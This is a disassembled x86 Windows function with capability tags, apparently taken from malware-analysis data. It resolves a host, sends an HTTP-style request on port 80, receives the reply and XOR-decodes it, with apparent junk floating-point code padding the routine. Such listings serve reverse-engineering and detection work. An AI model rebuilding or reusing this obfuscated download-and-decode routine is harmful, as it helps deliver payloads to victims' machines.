Function at 0x408720
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c4e0
push 0xffffffffffffffff
push 0x41e41b
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x425ed0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x1450]
mov ebx, dword [ebp + 0x144c]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], eax
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], eax
mov byte [ebp + 0x1a4], al
fldz
mov esi, dword [ebp + 0x1448]
fst dword [ebp - 0x30]
fldz
xor ecx, ecx
fst qword [ebp - 0x44]
xor edx, edx
fxch st(1)
mov byte [ebp + 0x11bc], al
fst dword [ebp - 0x38]
mov byte [ebp - 4], 1
fst dword [ebp - 0x28]
fxch st(1)
mov word [ebp - 0x2c], cx
fstp qword [ebp - 0x4c]
mov word [ebp - 0x14], dx
fst dword [ebp - 0x24]
fstp dword [ebp - 0x34]
mov word [ebp - 0x3c], ax
mov eax, esi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087d0
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4088c6
xor ecx, ecx
cmp ecx, edi
jg 0x40887a
mov al, byte [ecx + esi]
mov byte [ebp + ecx + 0x13bc], al
cmp al, 0x2f
jne 0x408874
fld1
mov byte [ebp + ecx + 0x13bc], 0
mov eax, ecx
cmp eax, edi
jg 0x40887e
movzx edx, word [0x425034]
movzx ebx, word [ebp - 0x2c]
movsx edx, dx
sub ebx, edx
movzx edx, word [ebp - 0x14]
sub ebx, edx
add ebx, 0x17267b84
mov word [ebp - 0x2c], bx
inc dword [ebp - 0x14]
mov bl, byte [eax + esi]
mov edx, eax
sub edx, ecx
mov byte [ebp + edx + 0x11bc], bl
dec word [0x4241c0]
movzx edx, word [0x4241c0]
movsx edx, dx
add edx, 0x2a268954
mov dword [ebp - 0x34], edx
inc eax
fild dword [ebp - 0x34]
fadd dword [ebp - 0x24]
fmul dword [0x423328]
fstp dword [0x423328]
fld dword [ebp - 0x24]
fsub st(1)
fstp dword [ebp - 0x24]
jmp 0x408808
inc ecx
jmp 0x4087e6
fld1
jmp 0x408881
mov ebx, dword [ebp - 0x18]
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40888a
sub eax, edx
mov edx, eax
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40889a
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x4088eb
fstp st(0)
cmp dword [ebp + 0x1b8], 0x10
jb 0x4088c6
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040abbc
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b6a5
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
fadd dword [ebp - 0x30]
fstp dword [ebp - 0x30]
fld dword [ebp - 0x30]
fsub qword [0x41f8e8]
fsub qword [0x41f8e0]
call fcn.0040b030
mov word [0x4236ac], ax
mov eax, ebx
mov edx, ebx
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408910
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408924
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425310
rep movsb byte es:[edi], byte [esi]
call fcn.00401cd0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408950
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408500
fldz
movzx ecx, word [ebp - 0x14]
imul ecx, ecx, 0xd8e34e57
mov word [ebp - 0x14], cx
xor eax, eax
fstp dword [ebp - 0x14]
mov dword [esi], eax
fldz
push esi
fstp qword [ebp - 0x1c]
mov byte [esi + 4], al
call fcn.0040b194
add esp, 4
fld dword [ebp - 0x14]
fld dword [ebp - 0x14]
fsub qword [0x41f3d0]
fsubp st(1)
fstp dword [ebp - 0x14]
mov dx, word [0x42331c]
movzx ecx, word [0x42309c]
movsx eax, dx
movsx edx, cx
mov ecx, dword [0x425340]
sub eax, edx
add eax, 0x46c4e33d
sub ecx, 0x723133d6
cmp ecx, eax
jg 0x4089f1
mov dx, word [0x423384]
mov cx, word [ebp - 0x2c]
movsx eax, dx
movsx edx, cx
lea eax, [edx + eax - 0x2092a9ff]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fmul qword [ebp - 0x44]
fstp qword [ebp - 0x44]
add dword [ebp - 0x2c], ebx
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a00
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.004085e0
push 0x32
push 0x423224
call fcn.00401cd0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a30
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004085e0
fldz
push 0x32
fstp dword [ebp - 0x14]
fldz
push 0
fstp qword [ebp - 0x1c]
push esi
call fcn.0040b0e0
push esi
call fcn.0040b194
fld dword [ebp - 0x14]
fld dword [ebp - 0x14]
lea eax, [ebp + 0x13bc]
fsub qword [0x41f3d0]
add esp, 0x10
lea edx, [eax + 1]
fsubp st(1)
fstp dword [ebp - 0x14]
fld qword [ebp - 0x44]
fadd qword [0x41f8d8]
fstp qword [ebp - 0x44]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a90
sub eax, edx
push eax
lea edx, [ebp + 0x13bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.004085e0
push 5
push 0x425328
call fcn.00401cd0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ac0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004085e0
mov eax, dword [0x425040]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
xor eax, eax
push esi
fadd dword [0x4258ec]
mov cx, word [ebp - 0x3c]
movsx edx, cx
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
faddp st(1)
fmul dword [0x4232fc]
fstp dword [0x4232fc]
fld dword [0x4258ec]
fadd qword [0x41f370]
fstp dword [0x4258ec]
mov dword [esi], eax
fldz
mov byte [esi + 4], al
fstp dword [ebp - 0x14]
fldz
fstp qword [ebp - 0x44]
call fcn.0040b194
fld dword [ebp - 0x14]
fld dword [ebp - 0x14]
add esp, 4
fsub qword [0x41f3d0]
lea eax, [ebp]
push eax
push 0x202
fsubp st(1)
fstp dword [ebp - 0x14]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408b5d
cmp dword [ebp + 0x1b8], 0x10
jmp 0x408f77
push 6
push 1
push 2
call sub.WS2_32.dll_socket
fld dword [ebp - 0x28]
fsub qword [0x41f8d0]
mov esi, eax
mov dword [ebp - 0x14], esi
fstp dword [ebp - 0x28]
cmp esi, ebx
jne 0x408bcf
mov dx, word [0x425398]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fld qword [0x4231b8]
fadd qword [0x41f8c8]
fsubr qword [0x41f8c0]
fsubp st(1)
call fcn.0040b030
mov word [0x425398], ax
fld qword [0x4231b8]
fsub qword [0x41f370]
fstp qword [0x4231b8]
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jmp 0x408f77
fld dword [ebp - 0x28]
mov dx, word [ebp - 0x3c]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fsubp st(1)
fadd dword [ebp - 0x38]
fstp dword [ebp - 0x38]
add dword [ebp - 0x3c], ebx
cmp dword [ebp + 0x1458], 0
je 0x408c0c
push 4
lea ecx, [ebp + 0x1458]
push ecx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x4088ae
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, ebx
jne 0x408c75
cmp dword [ebp + 0x1b8], edi
jmp 0x4088b5
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408c89
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call fcn.0040a916
cmp eax, dword [ebp + 0x1b4]
jae 0x408cb9
cmp dword [ebp + 0x1b8], edi
jb 0x4088c6
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x4088be
mov ecx, dword [ebp - 0x20]
push 0
push 0x41f8b8
call fcn.00408500
mov ax, word [0x4252ec]
mov cx, word [ebp - 0x2c]
cwde
movsx edx, cx
add edx, eax
cmp edx, 0xc699985e
jl 0x408d2e
inc dword [0x4231d4]
fld dword [0x42590c]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x42590c]
mov eax, dword [0x4231d4]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fld dword [ebp - 0x30]
fsubr qword [0x41f8b0]
fld dword [0x42590c]
fsubp st(2)
fucompp
fnstsw ax
fadd dword [ebp - 0x30]
fstp dword [ebp - 0x30]
test ah, 0x44
jnp 0x408d2e
mov ecx, dword [0x42303c]
fld dword [ebp - 0x38]
fstp st(0)
or edi, 0xffffffff
or ebx, edi
mov eax, dword [ebp - 0x14]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push eax
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408eb2
push eax
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, dword [ebp - 0x20]
call fcn.004085e0
test edi, edi
jge 0x408e85
push 5
push 0x425328
call fcn.00401cd0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408d80
mov ecx, dword [ebp - 0x20]
sub eax, edx
push eax
push 0
push esi
call fcn.00404c80
fldz
fstp dword [ebp - 0x28]
mov edi, eax
fldz
xor eax, eax
mov dword [esi], eax
fstp qword [ebp - 0x44]
push esi
mov byte [esi + 4], al
call fcn.0040b194
fld dword [ebp - 0x28]
fld dword [ebp - 0x28]
add esp, 4
fsub qword [0x41f3d0]
fsubp st(1)
fstp dword [ebp - 0x28]
test edi, edi
jl 0x408e85
mov edx, dword [0x42318c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
push eax
add edi, 4
fadd qword [0x425048]
fstp dword [0x424dec]
inc dword [0x42318c]
fld qword [0x425048]
fsub qword [0x41f370]
fstp qword [0x425048]
call fcn.004062b0
mov ebx, eax
add esp, 4
mov dword [ebp - 0x34], ebx
test ebx, ebx
jge 0x408e89
push 0xb
push 0x4230cc
call fcn.00401cd0
fld qword [0x4241d8]
add esp, 8
mov esi, eax
call fcn.0040b030
mov ecx, dword [ebp - 0x20]
mov dword [0x423104], eax
fld qword [0x4241d8]
fsub qword [0x41f370]
push 0
push esi
fstp qword [0x4241d8]
call fcn.004060d0
push esi
push 0xb
mov ebx, eax
call fcn.004018c0
fld dword [ebp - 0x38]
mov cx, word [0x42595c]
movsx edx, cx
mov dword [ebp - 0x18], edx
add esp, 8
fild dword [ebp - 0x18]
fsubp st(1)
fsub qword [0x41f8a8]
fadd dword [ebp - 0x24]
fstp dword [ebp - 0x24]
test ebx, ebx
jge 0x408eb2
mov ebx, dword [ebp - 0x34]
test ebx, ebx
jl 0x408e95
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408eb2
cmp dword [ebp + 0x1458], 0
je 0x408d33
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 0x14], 0x4000
jb 0x408d33
mov edx, dword [ebp - 0x14]
push edx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov esi, dword [ebp - 0x20]
test edi, edi
jl 0x408ed1
push edi
push 0
mov ecx, esi
call fcn.00406040
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408f6c
mov eax, dword [0x42330c]
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fld qword [ebp - 0x4c]
fsubr qword [0x41f8a0]
fsubp st(1)
call fcn.0040b030
mov dword [0x42330c], eax
fld qword [ebp - 0x4c]
fadd qword [0x41f370]
xor eax, eax
lea edx, [eax + 0x10]
fstp qword [ebp - 0x4c]
fld qword [0x41f898]
cmp eax, dword [esi + 0x14]
jae 0x408f43
cmp dword [esi + 0x18], edx
jb 0x408f31
fld dword [ebp - 0x24]
mov ecx, dword [esi + 4]
xor byte [ecx + eax], bl
fmul st(1)
inc eax
fstp dword [ebp - 0x24]
jmp 0x408f16
fld dword [ebp - 0x24]
xor byte [esi + eax + 4], bl
fmul st(1)
lea ecx, [esi + 4]
inc eax
fstp dword [ebp - 0x24]
jmp 0x408f16
fstp st(0)
fld qword [0x424ec8]
fcomp qword [0x41f890]
fnstsw ax
test ah, 1
jne 0x408f71
fld qword [0x4231a0]
fsub qword [0x41f888]
fstp qword [0x4231a0]
jmp 0x408f71
mov edx, 0x10
cmp dword [ebp + 0x1b8], edx
jb 0x4088c6
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x4088be